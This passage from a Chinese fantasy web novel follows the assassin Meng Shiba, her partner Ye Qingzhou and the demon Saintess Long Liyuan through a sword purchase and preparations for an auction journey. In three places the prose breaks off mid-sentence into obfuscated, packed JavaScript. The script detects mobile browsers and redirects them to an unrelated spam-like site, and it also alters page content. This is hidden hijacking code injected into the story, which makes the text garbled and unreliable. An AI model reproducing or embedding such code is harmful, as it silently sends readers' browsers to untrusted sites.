“相思楼后院。”叶轻舟迅速回答,后院就是垃圾处理厂的代称。“你是说,武陵应该也有个这样的地方?” “我没见过。”孟十八自认走过整个武陵,“而且灵力循环,他们的后院本该是鬼村灵矿。” “那不就更奇怪了,”叶轻舟自然相信孟十八的本事,“我们讨论半天也没什么用,先回屋吧。”他看了眼手中自制的珐琅表,“到你喝药的时辰了。” 他说的自然,孟十八也应的自然。 二人回到屋里,叶轻舟去端药,孟十八瞧他手上旧伤未愈,问道:“这是什么伤的?” 叶轻舟将药碗搁下,手往袖子里缩了缩,笑道:“我哪注意到,反正已经好了。”他总不能说是听到孟十八无心之症后被碎瓷划伤的吧。 这也太奇怪了。 好在孟十八也没有追问,叶轻舟转移话题道:“我明天去一趟武陵,后天我们回相思楼,明天要不要玉师姐陪你?” “我当然和你一起去。”孟十八道:“如果真的是魔界势力,我出面更方便。” “但是医生说你不要……”叶轻舟对上那双眼睛就泄气,“我先去找大夫……咦?” 储物袋震动起来,他和孟十八拿出相思楼令牌,是急讯: “魔宫使者召见,速归。” 15. 圣女 不过离开魔界几日,回来时已经大有不同。 孟十八见叶轻舟发晕还要凑热闹,显然不理解,把清心丸塞过去,“快吃了。” 叶轻舟咦咦呜呜地道谢,直到脚落地才缓过劲,“我跟你说,我猜到为什么要见我们了。” 原来是前两日魔界突然天有异色,一道惊雷划破天际,直奔东去,消失在众人视野里。这一下众说纷纭,大家都在猜到底是什么情况,外加武陵异变,魔界消息也不落后,自然有人将两件事凑到一块。 玉龙剑竟然是魔界的?叶轻舟心想,是书有bug还是他离小说开篇遥遥无期? 孟十八心里想着同样的事,玉龙出自昆仑,昆仑又被魔尊所灭,剑被放于魔宫合情合理,只是明灼若真的是她……难道魔尊手中的万魂幡真的与其他魂幡不同? “孟十八,”叶轻舟见她蹙眉,说道:“剑的事我都听你的。” 显然他已经认定这把剑就该是她的。 相思楼还是那个相思楼,侍女见到风尘仆仆二人,先引他们去沐浴更衣。 各自换了干净衣服,又有侍女前来梳妆,叶轻舟忍不住打了几个喷嚏,孟十八更是明言拒绝擦香抹脂,随意挽了头发就要她们带路。 魔宫使者独坐在花厅。 先入眼的就是一袭镶金嵌玉的华服,珍珠玛瑙,宝石翡翠,折射出华美的光彩。孟、叶二人行礼问候,女人方抬起那张粉雕玉琢的脸,一双含情脉脉的眼,一抹似喜似悲的笑,手中把玩着一块浑圆天成的明珠,话音更是清清泠泠:“坐吧。” 虽然在梳妆打扮时被侍女们科普过,但真见到后才会明白为何三界第一美人会是她最不值一提的称号。 魔界圣女,龙离渊。昔年孤身镇守边关,以一挡万,逼退仙盟百里,后被魔帝容与加封为圣子,受万魔供奉。 孟十八见她的眼神落在自己身上,低头唤道:“圣女殿下。” “你,叫孟十八,是吗?”龙离渊身上的珠玉发出泠泠清响,“抬起头,让我看看。” 孟十八依言抬头,没有错过她眼中闪过的惊讶,和浓烈的,无法理解的情感。 她的视线太炽热,仿佛她是巨龙失而复得的宝物,需要被呵护在手中才能确认归属。 你在透过我,看向谁? “为什么叫这个名字?”龙离渊摩挲着掌间明珠,语调发颤。 “楼主赐名。”孟十八照旧说了之前那套原因,只换得圣女古怪一笑。 “十八圆满,是个吉数,楼主倒是会取名。” 那笑容太浅,又平白多了伤心,孟十八读懂了她的未尽之意,若非理智犹存,她竟想走上前去,抹平圣女微蹙的眉头。 “你们奉命追查万魂幡一事,如何了?”她的目光紧紧地锁在孟十八脸上,不愿错过杀手一丝一毫的变化。 “我等,”孟十八看了叶轻舟一眼,“已寻得两块碎片。” 两块?叶轻舟愣了一下,难道是武陵……当时莫名其妙蹦出来的系统结算音,莫非是那时候孟十八又找到了一块?是在武陵?总不能是在医馆的枕头底下吧? 龙离渊轻轻嗯了一声,她似乎在期待着什么,好像孟十八应该再多说些她想听的话。 莫非圣女是来试探自己是否知晓昆仑?孟十八心下存疑。 “知道了,万魂幡之事,暂交由你,若有消息,可直接报与我知。” 龙离渊听不到更多的话,眼神黯淡了一瞬,她挥了挥手,让他们离开。 走出花厅后,孟十八才开口:“魂幡碎片我隐瞒在先,当时事发突然。” “没事没事,当时兵荒马乱的,你身体安全最重要。”叶轻舟迅速接话,他想问刚刚为什么魔界圣女会那么贪婪又悲伤地盯着孟十八看,好像下一秒就要把她卷走,但见孟十八神色恐怕她自己也不清楚。 叶轻舟关心道:“你没有什么,呃,像我当时那种状况吧?” “没有。”孟十八随口糊弄:“我去见楼主,你呢?” 叶轻舟当然是希望回家睡觉。 二人在岔路口分别,孟十八熟门熟路走向书房。 相思楼主是个苍白而俊美的男人,常年披着大氅,抱着暖炉,翻书习字,煮茶品茗。 孟十八往对面一坐,问他:“你到底要从万魂幡里找到什么?” 男人缓缓放下手中的书,桌上的茶壶自动浮至半空为孟十八倒茶。 “被为难了?” 孟十八奇怪地看了他一眼,“谁?圣女吗?没有。”她将茶水一饮而尽,“难喝。” “牛嚼牡丹,可惜可惜。”相思楼主抬手又为她续了一杯,“她问你什么了?” 孟十八毫不在意,“问了我的名字,我说是你取的。” 男人轻笑一声,“名字,真的是很有趣的东西。” “孟十八,如果你找回记忆,你还是孟十八吗?” 孟十八一怔,从她接触明灼记忆起,她一直陷入这样的困境。 名字代表着什么?代号?祝福?称谓?还是一段不可抹去的人生经历。 如果孟十八不只是孟十八,那么她到底是什么? “我是。”她最终回答道:“只要我记得,那我依旧是孟十八。” 楼主但笑不语,转而问道:“人间好玩吗?” 人间,孟十八想了想,短短几天,她见过的活人比这几年杀过的都要多。 她见过浑浑噩噩的,见过宁死不屈的,见过温柔的坚守,见过疯癫后的痛苦,见过恶,也见过善。 “你故意为之?”她说出自己的猜测,“你知道武陵会有什么,你引我前去,是为了……” “或许是为了一统天下?”他故意说着大逆不道的话,“别那么紧张,孩子,至少那把剑很趁手,不是吗?” 孟十八猛然起身逼近,“别叫我孩子!”她下意识反驳,“你知道多少?” 一把白玉折扇挡在二人中间,男人微笑着,“不多,但够用。” “好好休息吧,孟十八,我还在等你的答案。” * 叶轻舟在家睡够了觉才舍得出门觅食。 他坐在熟悉的位置,吃着熟悉的牛肉面,听着周边魔修讨论着不熟悉的魔尊。 只是,有什么不对。 叶轻舟假装被面条呛到,趁机用藏在袖子里的法器一扫,只见坐在自己身后不远处的一个人迅速低下头。 跟踪我?图什么? 好歹也是相思楼正式员工,远的不说,自己的人身安全在黑鸦城里是能得到绝对保障的。 刨去谋财害命的可能,叶轻舟只能想到玉龙剑与万魂幡的事。 不会也是一个想要复活孟危的同行吧?他面色如旧吃完饭付了钱,假装一无所知地走在街上遛弯,心里却疯狂呼叫系统:“能不能扫描后面的信息?” 系统说不能。 叶轻舟吐槽你真是我带过最差的系统。 系统说我可以提供几个解决方案。 叶轻舟迅速变脸,夸它体贴入微。 结果发现所谓解决方案和电视剧里的套路差不多。 好在叶轻舟手握地图,七绕八拐,成功绕进一条死路,躲在一边。 跟踪者果然也拐进来,这人浑身裹得严实,又身形高大,分不出性别,见前面无路又没了叶轻舟踪影,毫不犹豫转身就走。 “砰”一声,正好踩中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169223|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶轻舟提前设下的法阵。 烟雾弥漫一瞬间,叶轻舟跳入其中,与跟踪者过起招来。 对方也迅速回神,未用兵器,直接拳掌相对,一招一式娴熟老练,掌掌带风,叶轻舟暗骂自己托大,甩出符纸,近战变远攻,伺机而动。 谁知那人看破叶轻舟算盘,再次欺身而来,三十招后,叶轻舟渐渐体力不支,准备脚底抹油,不料手脚失衡,差点撞上迎面扑来的拳头。 “啧。” 那人居然半路改招,将他险些倒下的身体推到墙上,语带不屑: “不过如此。” 话音未落,眼前人已经不见。 徒留叶轻舟愣在原地,慢慢品出一丝不对: 那人招式之间没有杀气,比起想伤害他,更像是在测试他的能力。 那个人,究竟是哪方势力? * 无间魔渊,魔宫。 泠泠声响,华服金钗的女人跨入入殿内,脚步声急,满是迫不及待。侍立一旁的宫人撩开珠帘,只见帘后坐着一位玄衣女子,正手拈白子,研究着一局残棋。 “小容姐,”华服女人正是龙离渊,她挥手让宫人们退下,自己直接坐在玄衣女子身旁,迫不及待道:“是她,她真的回来了。” 被称为小容姐的女人面色如常,眼神未变,“她没有和你回来?” 龙离渊急急道:“我就是要和你说这件事,妖妖她失忆了。” 两日前,她们本在一起议事,谁知沉寂百年的踏天剑匣居然发出嗡鸣,玉龙直接飞出魔宫,直奔人间。 魔界守卫向她们汇报人间有武陵异事,仙盟也派人明地暗地打探武陵和她们魔界有没有关系。 容与作为一界之主分身乏术,龙离渊自觉承担了调查任务,武陵、玉龙、相思楼、万魂幡……一件件调查过去,查到相思楼有一杀手,名为孟十八。 “她长得不像以前,我是说,她像是刚来魔界的样子,就是没什么表情,木头一块,也没有以前那么……”龙离渊想起从前忍不住抽了抽鼻子,“她现在叫孟十八,这名字好难听。小容姐,我去把她带回来好不好,说不定回来后她就想起来了。” “她现在还有个搭档,那家伙是仙门人,功夫平平,只会些投机取巧的术法,我试了他的身手,一根手指就能碾压。” “妖妖在黑鸦城一定过得很辛苦,我今天看她打扮,衣服是素的,发簪也是素银的,腰间连把剑都没有!早知道不要玉龙回来了,唉,这么多年,也不知道她吃了多少苦头。” 龙离渊越说越伤心,想当初孟危在时,奇珍异巧,金银珠宝,哪样缺过,出门迎敌,除了万魂幡,还有踏天剑匣傍身,怎么会如今连把武器都没有!真不知道她在相思楼过着什么样的苦日子。 “你说她现在叫孟十八。”魔帝容与拍了拍她的手安慰,“这名字是她自己取的?” “才不是!是那个劳什子相思楼主说的,”龙离渊将话学了一遍,“她忘了我们,说是找到了两块魂幡,可是她看我分明是在看陌生人!难不成真要找齐万魂幡才能解开她记忆?” 容与用手帕拭去她的眼泪,“她会想起来的,别担心,我会有办法。” “先回去休息吧,这些天辛苦你了。” 龙离渊接过手帕,乖乖应了一声,“小容姐你也早些歇息。” 容与带着淡淡的笑意目送她离开。 孟十八吗? 十八为木,这么简单的谜底,你解开了吗? 容与看向手里那块残缺的碎片,她不用靠近都能听见里面的声音。 孟危的,她的。 不要想起来,孟危。 不要想起来。 16. 破军 孟十八站在书房里。 屋外皑皑白雪,屋内温暖如春,她仍旧穿着那件桃粉色的裙装,却发自内心感到冷意。 自她交上功课,师尊已经许久未开口。 她不敢抬头,盯着袖口的纹路,熬得心头直跳,脑中有根紧绷的弦,轻轻一碰就会彻底断裂。 是哪里做错了?是文章不够严谨,卷面不够整洁?还是她那点隐秘的,想要去人间的渴望又被师尊发现了? 师尊对自己失望了吗? 彻骨的寒意攀上她的骨头,她做错了,她又错了,她不该这样自作聪明,不该违逆师尊,是她不够强,对,一定是这样,是她早上练剑的时候错了半招,她现在就该认错,求得师尊的原谅。 她不敢想,如果师尊也要抛下自己,那她还有哪里可去? 去找母亲吗? 去找那个头也不回离开自己、离开家,杳无音讯的母亲吗? 她真的能找到她吗? 母亲会接纳她吗?接纳她这样一个愚笨的女儿? 师尊说过,挡不下他的一剑…… “明灼。” 少年惶然抬头。 孟十八猛然睁开眼。 是梦,她下意识摸向自己的脸。 明灼……她,是在哭吗? 她不该理解的,身为杀手,她每次都能完成任务,身为孟十八,她从未放弃过寻找自己的记忆。对于明灼的惶然与纠结,她也只是一个旁观者。 但是,孟十八望向铜镜里的女人,她是明白的。 她知道明灼的期待,知道少年的渴望,体验过害怕被抛弃的恐惧,隐秘的痛苦如蛛网,一点点收紧,窒息。 她为什么成为杀手? 因为本能,因为直觉, ……因为不想成为无用之人。 * 叶轻舟看着眼前的牌匾,呆呆蹦出一句: “我们来这里吗!?” 他被孟十八带出来的时候脑子还没跟上,本来在白天看到同事上门已经够离奇,没想到同事直接把自己带到菜市场——啊不是,他仔细读了读龙飞凤舞的牌匾,哇,千机阁,多少修者心中的劳斯莱斯。 叶轻舟宛如第一次进爱马仕的农村人,躲在孟十八身后小声问:“你来这买什么?” 他对自己的定位很明确,非魔界户口,勉强小康,完全不是这里的目标客户。 孟十八没料到他还未进店就畏手畏脚,疑惑道:“这里有什么不好?” “除了贵没有不好,”叶轻舟迅速回答,他小声补充:“这里只接受灵石付账。” 他这是,嫌贵付不起?孟十八没想到这个,一个拿灵石当柴火烧的人居然会觉得灵石付款贵?她这位后勤搭档倒是永远出乎意料。 与神树一战,原先的佩剑被断,玉龙在战后又自行离开,孟十八手上没有趁手的兵器,总觉得难受。相思楼的武器库当然由她挑选,但是都没有合眼缘的。 千机阁声名远扬,再加上叶轻舟之前就没有防身武器,孟十八想也没想,一道传讯符过去,自己也前后脚到了宅邸前,把叶轻舟拉走。 “挂相思楼账上,不用多想。”孟十八直接带人进门。 千机阁的服务和它的价格一样顶级,得知二人身靠相思楼,掌柜亲自送他们去楼上包间,旁边的学徒也很有眼力间地将记载物品的留影珠与手册递上。 “我们自己看。”孟十八止住了对方热情的推销。 贵宾室只有他们两个,叶轻舟没有思想包袱,人也轻松下来,拿起法器那一本翻阅:能自动画符的毛笔、储存几百种法阵的罗盘、感应灵气的指引针,还有各种兼具美学与实用的配饰摆件……种类繁多,应有尽有。他忍不住问系统:“能不能给我开个修改器,我想allin。” 系统当然没回答他,孟十八在旁边说:“喜欢就买。” 叶轻舟摆摆手笑道:“我用多少浪费了。”他向来很有自知之明,买武器他更倾向于去熟人那里订做,还有友情价。 “你怎么不看看?”他将留影珠调到一幕,“这个剑穗挺适合你的。” 说完他又补了句:“你怎么不看看剑这一本。” 孟十八摇摇头,“我更习惯现场接触。” ——你和它们无缘。 雪衣男子的话忽然在她脑海里响起。 天资卓越是无缘,万剑齐鸣依旧是无缘。 ——明灼,那都不是你的剑。 不,我不是,孟十八狠掐掌心,强迫自己从破碎的记忆里回神。 她不是明灼,她有自己的剑。 “那,我们先走吧?”叶轻舟以为自己说错话,干脆转移话题:“反正我也没有想买的,不如一起去看看这里的刀剑兵器?” 千机阁的兵器楼自带肃杀之意。 锋利的宝剑们交相辉映,仿佛每一道呼吸都会被剑气斩落。 叶轻舟落后一步,自己慢慢研究起宝剑旁的标签,这把剑的名字,那把剑的由来,铸剑师留下的只言片语,被他当作故事一般读得津津有味。 孟十八听见了宝剑的声音。 和明灼在剑冢里一样。 在她面前,每一把剑像是一只只乖巧的灵宠,期待着她的注视,渴望被她选中。 它们不遗余力地展现自己的优势,只为得到孟十八落在它们身上的一眼。 这是巧合吗? 她真的是明灼吗? 许是察觉到孟十八脸色不虞,陪在一旁的掌柜笑道:“此间之后还有一屋,皆是小店千年来珍藏,客官您可要赏眼一看?” 说着还看了一眼落在后面的叶轻舟。 叶轻舟跟逛博物馆似的欣赏,几步走到孟十八旁边,“你要不去看看?说不定能看上?”又看向老板问:“都有些什么,先介绍介绍呗。” 他嘴上说着,心里已经狂call系统:【快点快点,千机阁有没有什么金色传说级别的武器?】 【千机阁,正在检索中】 【抱歉,您当前等级无法开启商城功能】 【资料卡,千机阁,已更新】 叶轻舟内心狂骂系统暂且不谈,孟十八略微点头,算是同意了二人的提议。 说是珍藏,但叶轻舟想象里的巨龙宝库黄金遍地没有看到,三人推门踏入,竟是直接传入一方小天地内。 此地寂静无声,举目四望,只有眼前一处光亮。 那里插着一把剑。 那把剑被困在那里。 孟十八听到了它的挣扎,听到了它的呼唤。 凭着直觉,她径直走上前去,踏过青铜地砖,走到剑的面前。 没有丝毫的犹豫,她握住了剑柄。 她“看”到了剑的故事。 在久远以前,在战争爆发之前。 这把剑被主人从剑匣中取出。 那个人说:“替我,镇守四方。” 她“听”见了剑的哀鸣。 它想随它的主人一同前去,哪怕前路九死一生。 那个人又说:“我不能辜负魔界,不能辜负她们。” 那个人走了,剑留在剑阵中。 战争爆发了,很多人因它而死。 战争结束了,那个人也没有回来。 只有那把剑留在原地,等待着,等待着那个人前来,再一次唤出它的名字—— “破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169224|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军。” 空白的记忆被添上一抹色彩,孟十八念出那个名字,拔出那把剑。 破军,她甚至知道这不是它的本名。 你也是明灼的剑吗?她问。 我是你的剑。破军如此回答她。 “哎呀哎呀,恭喜恭喜呀,”掌柜殷勤道贺的声音打破了寂静:“这把剑可是我们镇阁之宝,今日能被姑娘收服,也是我们千机阁一大幸事啊!” 诶? 叶轻舟还没反应过来,自己已经回到那间贵宾室,面前堆满小山高的物件。他以为自己断片,去瞧孟十八的脸色,发现这位泰山崩于前而面不改色的杀手姑娘,也是满脸茫然。 对啊,不该直接结账走人吗? 难道买剑也有配货环节? 掌柜还在滔滔不绝推销她的产品,这个剑穗好看,那个剑鞘精美,这个是镶金那个嵌玉,哎呀都是相思楼的贵客了不如每个花色来一个吧。 “……还有这位叶小哥,我见你格外钟情这把剑,不如一块买下吧。” 难怪人家生意红火,叶轻舟没想到自己多看几眼的剑都被包起来送到面前了。 “那个,我们先自己再商量一下。” 打发走依依不舍的掌柜,叶轻舟一个脑袋两个大,生无可恋问孟十八:“这个,能报销吗?” 相思楼报账应该有额度限制吧。 孟十八则在考虑别的事。 “你看上的那把剑,来历有点奇怪。” 吸引叶轻舟注意的,不是剑本身,而是剑的名字。 ——采葛。 若不是早接受了这个世界有《诗经》的存在,叶轻舟可能已经迫不及待去认亲了。 不过,说不定就是老乡锻造的剑。他一向乐观主义。 “那把剑,是对剑,只是另一把,并不在千机阁。而掌柜咬定只有一把。” 按理说,对剑犹如双子,不愿分离,但是这把剑既无怨念也无哀伤,孟十八只能读出平静与淡然。 会是巧合吗? “看来千机阁有问题?”叶轻舟没想到还有这一出,“那我们要不赶快走人?” “你喜欢吗?” “啊?”叶轻舟没想到她问这个。 “剑吗?”他老实回答:“我在这方面是个外行,看不出好坏,只是这把剑的名字挺吸引我的。” “那就带上,走吧。” * “两把剑皆已卖出。” 龙离渊兴高采烈地凑到容与身边:“有了破军,总能替妖妖挡下些,就是她审美一天一变,我选的那些东西哪里不好了?她怎么就看不上?” 容与耐心哄她:“孟危一向朴素,下次换个由头送她便是。” 龙离渊哼了一声,又问:“小容姐,你为什么要把采葛送给那个姓叶的?要我说,我们现在就该把他抓起来,省得他天天在妖妖旁边碍事。” “你想去她身边,是不是?”容与没有回答,只是反问。 龙离渊被戳中了心思,抱着容与胳膊撒娇道:“我已经把事情安排好了,绝对不会耽误今年的祭祀大典,哎呀,小容姐,说不定到时候我就带着妖妖一起回来了~” “到时候,我们三个人,就像以前一样,不好吗?” 像以前一样? 容与停下手中的动作,她的佩剑横在膝上,锋利而明亮。 像以前那样,放任孟危带着所有人走向死路吗? “不。”她轻声说。 “什么?”沉浸在幻想里的龙离渊问她,“你刚刚说什么?” 容与依旧微笑着,“你可以去找她。” “正好,我有一个任务交给你。” 17. 出发前 孟十八看向椅子上的龙离渊。 几日未见,圣女殿下华服换劲装,腰垂镂空金球,头戴金冠,冠上嵌珠,正合二龙戏珠意象,配上她眉眼笑意,更添一份少年气。 说不疑惑是假的,孟十八本已经告诉楼主,自己要长期休养,因她夜夜入梦都是明灼往事,白日里翻阅藏书,也找不到只言片语。楼主满口答应,可是如今刚过七天,就把自己喊来,说有任务。 相思楼主今日换了羽扇在手,轻摇几下道:“孟十八,有一任务要交于你。” 三界规模最大的拍卖会叫琅琊会,地处三不管地区琅琊郡。 据说千年前琅琊郡主巧施计谋,让仙盟盟主、人间皇帝与魔尊通通欠下她人情,三方被迫达成一致,让琅琊郡自成一处,与三界共商。 不过也有人说,这三位尊主之所以会同意,是因为他们都需要琅琊会。 琅琊会年年一开,十年一盛事,其上拍卖过的古董奇珍数不胜数,有人皇的玉玺、仙盟的武学、魔君的兵器……只要你有足够的金钱灵石,或者足够强大的武力,你可以得到你想要的一切。 这次琅琊盛事,最有噱头的,便是一张地图。 龙离渊示意楼主停下,接话道:“魔界对此势在必得,由你护送我。” 孟十八:“只我一个?” 龙离渊理所当然地点头。 孟十八拒绝道:“恕难从命。” 就算是圣子微服出访,身后负责的也该是魔宫禁卫。她不过是相思楼的一介杀手,龙离渊对她的邀请可谓是醉翁之意不在酒。 更何况,她没错过龙离渊明显错愕的表情变化,自己与魔宫牵连无非两事:孟危的万魂幡,与玉龙剑。 相思楼主或许也没想到她会拒绝,男人藏在羽扇后的脸上露出一丝诧异,欲开口提点她几句。 孟十八道:“我想知道那张地图是什么。”她要知道到底是哪件事与拍卖会有关。 龙离渊试探道:“若是说了你就肯去?”她心里有事,又没把孟十八当外人,说出来的话却是不符合当今的身份。 孟十八听了只觉得更怪,怎么像小孩撒娇? 若非容与事先叮嘱,龙离渊见到孟十八就想全部托盘而出。她向来没什么心思,眼下孟十八拒绝她,她干脆让相思楼主给她们单独安排房间细谈。 “说到地图前,你可知,昆仑?” 孟危第一次出现在三界面前,就是当众刺杀神尊孟君时。 之后,她仍嫌不够,烧断昆仑,斩断天梯,自己在仙界围攻下,堕入魔界。 但出乎意料的是,几百年来,寻求天梯最疯狂的,不是被神尊抛下的玄明孟家,而是已经成为魔尊的孟危。 龙离渊知道部分内情,但无法与现在记忆空白的孟十八说明。 “天梯断裂,三界再无飞升可能,多年来无数人寻找天梯下落。” “这份地图,是当年仙界救世主发现的,离昆仑最近的地方。” 孟十八听到昆仑二字心神微震,她寻求数日未果的线索,如果猛然出现在她面前,欣喜之余更生警惕:为何会如此巧合? 她面上不显,只问:“殿下,为何选择我?” “魔宫禁卫三界闻名,为何舍近求远?” “拍卖会既然如此重要,为何只选我一人护送?” 自然是为了让你这木头恢复记忆早点回来,龙离渊心里苦恼,只恨不能说出真相,好在容与考虑周全,教过她不少应对孟危的方法。 “你身负为魔尊寻找万魂幡的责任,这也是考验你的时候,”龙离渊说了一部分实话,“微服出访可以省去不必要的麻烦,还有……”她眼珠子一转,瞧向孟十八腰间的破军,“你功夫不错,新得的剑?” 她跃跃欲试:“我们比一比。” 这话题跳得太快,孟十八愣神一下就被她拉起身。 她们现在身处屋内,自然没法拉开架势,孟十八剑都未拔,龙离渊更是赤手空拳,二人你来我往,不用灵力,只凭本事,倒也有模有样地过上百余招。 孟十八虽然也没少听说圣子一人独挡百万军的传说,但以前只觉得魔宫离她太远,不甚在意。如今交手,对方的确内力深厚,只是刻意收敛三分的味道,不知是为防器物碎裂,还是因为……自己? 她没法忽视龙离渊的眼神,那么情深意切,带着欲说还休的味道。 她也无法忽视自己的直觉,像当时召唤玉龙那样,她似乎对龙离渊没有防备,之前的拒绝已经耗尽她的理智。 我们……明灼与龙离渊,难道是旧识吗? “你分心了。”这场交手以龙离渊拔下孟十八的剑鞘为结束,圣子显然打得心满意足,对相思楼通用的剑鞘评价:“太素,又收不住剑气,怎么不想着换一个?” 话说得亲密无间,孟十八竟然也不觉得不对,反而顺着答道:“太华丽的剑鞘,容易暴露身份。” “哦,也是。”龙离渊手挽剑花,笑道:“不如我送你一个新的,就当见面礼。” 没给孟十八拒绝的机会,新剑鞘已经出现在她手上:看似平平无奇,实则做工精良,刻有鎏金剑纹。 破军剑随风轻吟,孟十八知晓这是剑自己都认可了剑鞘,也不再推脱,道谢收下。 龙离渊弯眼笑起来,“好了,那我们继续说说计划?” 离琅琊盛事还有一月,她准备现在出发,还能和孟十八游山玩水旅游一段,借机培养感情,争取让她早点恢复记忆。 孟十八没猜到她的心思,她接任务后都是先做调查,自然,她需要的是,“殿下,我还需要一个搭档帮助。” “不用一口一个殿下,你不如……”龙离渊咽下原先的昵称,“你反正别叫殿下就行,圣女圣子也不行。” 孟十八只当她平易近人,接着说:“现在情报不足,只有我一人随身保护也是冒险之策。” “那你要再加人?”龙离渊心里盘算起怎么实行调虎离山。 “是,我有个搭档,你也是见过的,与我同属相思楼。” 不是吧,龙离渊生出一丝愤愤,怎么会是那个家伙? “他可是仙界之人。” 孟十八以为她怕消息泄露,解释道:“叶轻舟虽是仙界弟子,但在魔界多年,行事记录皆能在相思楼查到,之前我与他同出任务,他也未在仙界人面前暴露任务与身份。” “并且,依靠他仙界弟子身份,我们亦可以伪装去探听仙界消息。” 她是公事公办解释,全然不知龙离渊心里气性大发,恨不得现在就去把那个叶轻舟揪出来问他给孟十八下了什么迷魂汤。 这才几年?龙离渊愤愤不平,孟危当时对她也是花了好一段时间才信任有加,她不过晚了几年,孟危怎么就被仙界的坏东西骗去信任了呢! 要是她第一个找到失忆的孟危就好了,她们现在指不定已经打上仙界火烧仙盟水淹孟家一雪前耻…… “龙……龙离渊,你觉得呢?”孟十八第一次叫她名字,舌头不自觉卡了一下,总感觉要是明灼在此,肯定喊的不是这个名字。 “我觉得不好,我不放心此人。”龙离渊哼了一声,“他太弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169225|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,到时候还不知道谁保护谁。” 孟十八不得不承认龙离渊说得有理,“单论法阵符修,他的确称得上好手,不如先做好准备,之后出发前再定。” 诶?龙离渊愣住,她可是今天就想带人走。 孟十八读不出她的心思,一本正经地安排起行动时间。 木头!龙离渊愤愤,三界第一大木头! * 孟十八按下门前的开关。 圆球亮起,一小股灵力顺着阵法通往门内,大门自动打开。 叶轻舟的院子混乱有序,说乱,既是菜地又是花园,还有角落堆着杂物,说有序,倒也分门别类,井井有条,看得舒坦。 叶轻舟手足无措站在院子里,身为主人却比客人还紧张,“你喝茶吗?” 客随主便,二人在前厅坐下,叶轻舟难得有客人,又是倒茶又是摆果盘,拿出请老师家访的态度,问道:“你来找我是有什么事吗?” 他这几天休假睡了个爽,系统也没冒出稀奇古怪的事情打扰,手上新得的采葛与他尚在磨合,《神魔》原著也被他通读了一遍。要不是孟十八拜访,他都快忘了自己还有个班要上。 “圣女要我护送她去琅琊郡。”孟十八喝了口茶,果茶带着花香,冲淡了茶叶的苦涩,“你去不去。” 叶轻舟没回答,他在脑子里搜索剧情,果然是修仙文不可不品的经典环节,原著里主角燕南陵在拍卖会上拍猪吃老虎,低价拍下若干材料,日后炼就神兵,还为琅琊郡主答疑解惑,成为座上宾。 只不过根据他这几日推测,现在时间线尚未到达此处情节。 “是为了拍卖会?”叶轻舟算了算时间,“我能去?”圣女出门不该是八抬大轿前呼后拥吗? “圣女把任务交给了相思楼。” 这是为什么,叶轻舟显然无法理解,放着骁勇善战的禁军不带,去私人公司下单,要是出点事,他们不会被军法处置吧。 “会不会还是因为之前的事?”他想不出理由,“你被盯上了?” 不过他又好到哪去,“还是我这个身份连累你了?怕你和仙界有关?”难道护卫名义是假,解决他们性命才是真? 孟十八哪知道自己一句话惹得对方浮想翩翩,已经幻想到大结局的凄凉下场。她来之前和龙离渊商定,出发不急一时,要先做好准备。而放眼相思楼,她最放心的人也最合适的人只有叶轻舟。 “不是,你不必多想。”她简单说了情况,“圣女或只带我一人。” 这不是更离谱了吗!你只是没在原著里出现,龙离渊可是原作反派团领导啊! 原作里龙离渊身为魔界圣女,出场剧情不是在为孟危摇旗呐喊,就是在为孟危做尽坏事,坏得理直气壮,坏得坦坦荡荡,把主角团甩到界外还要来一句没死算命大。 叶轻舟扪心自问,生命诚可贵,任务想摆烂,游戏主线不都这样,你放在那里不做也不会怎么样。但是孟十八情况和他不同,复活孟危的关键线索还在她身上揣着。 “那找万魂幡的事……”他试探开口:“这事不该让魔宫他们去做吗?”最好赶快把这块烫手山芋扔出去。 “魂幡之事暂不急,先看眼下。” 叶轻舟只能把话咽下,找机会以后再劝。谁知这时候孟十八传讯符亮起,叶轻舟还没避开,龙离渊清脆的声音响彻屋内: “你怎么不在相思楼?” “你是不是又去找姓叶的了!” 好吧,叶轻舟现在能确定,不管出于什么原因,这位反派圣女,对自己真的意见很大。 18. 遇妖 暮春时节,天气渐热,到处莺飞草长,一派生机勃勃。 山路上,三人一骑慢悠悠走着,骑在马上的少年风姿绰约,正是微服出行的龙离渊。 不消说,走在前面的是孟十八,跟在后面苦笑的是叶轻舟。 魔界到琅琊郡,虽然路途遥远,但若用龙离渊出关时的私人飞舟,三日可至,若用叶轻舟自己的传送阵,只会更快。偏偏圣女殿下刚出魔界就收了神通,要体验民情,要踏青观春景,还要体会一把银鞍白马少年郎。 左右离琅琊盛事还有二十多天,龙离渊盈盈双眸可怜兮兮,小木头你就答应我吧。 